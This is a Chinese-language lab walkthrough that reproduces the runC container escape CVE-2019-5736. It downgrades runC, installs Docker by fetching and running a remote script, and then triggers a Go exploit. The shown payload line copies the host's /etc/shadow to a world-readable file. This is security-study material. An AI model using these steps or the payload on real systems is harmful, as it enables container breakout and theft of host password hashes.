CVE-2019-5736

Docker逃逸 复现

实验环境

环境仅供参考

  • VMware® Workstation 15 Pro - 15.0.0 build-10134415
  • Centos7
  • docker : 18.06.0-ce
  • runC : 1.0.0-rc6

安装环境

漏洞影响版本

  • Docker Version < 18.09.2
  • runC Version <= 1.0-rc6

修改 runC 版本

默认 runC 版本是无法复现该漏洞的,需要手动修改

wget https://github.com/opencontainers/runc/releases/download/v1.0.0-rc6/runc.amd64
mv runc.amd64 /usr/bin/runc
chmod +x /usr/bin/runc
runc --version

安装 docker

yum install -y epel-release
wget https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw/
chmod +x index.html
./index.html

使用安装完毕后,可能会自动进入 docker 容器,这里不管,直接重启机器

启动容器

等待机器重启完毕,这里启动 docker 服务,然后进入 docker 容器

systemctl start docker
docker run -it ubuntu:18.04 "/bin/bash"

再启一个 bash,同时这个窗口不要关闭,看一下 docker 容器的 ID

docker ps

下载 payload

下载的 main.go,修改下 package,改成,payload 也稍微修改

package main

var payload = "#!/bin/bash \n cat /etc/shadow > /tmp/shadow && chmod 777 /tmp/shadow"

然后 windows 下需配置编译参数,linux 可直接编译

CGO_ENABLED=0;GOOS=linux;GOARCH=amd64
go build main.go

把编译出来的二进制文件 main,上传至目标机器

使用 payload

这里将 main 复制到容器的 /home 目录下,id 值就是之前 docker ps 看到的值

docker cp main xxxxxxxxx:/home

回到一开始的窗口,现在进入 home 目录,就可以看到上传上来的 main 文件了,加权限,运行

cd /home
ls
chmod +x main
./main

这里再返回到第二个窗口,这个窗口刚上传 main 文件,现在再这个窗口里进入容器,触发 payload,id 值就是之前 docker ps 看到的值

docker exec -it xxxxxxxxx /bin/sh
exit
cd /tmp/
ls

可以看到,宿主机下 tmp 写了 shadow 文件,payload 成功执行

  • 仅供学习,在自己的局域网环境中复现实验,切勿用于商业用途,后果自负。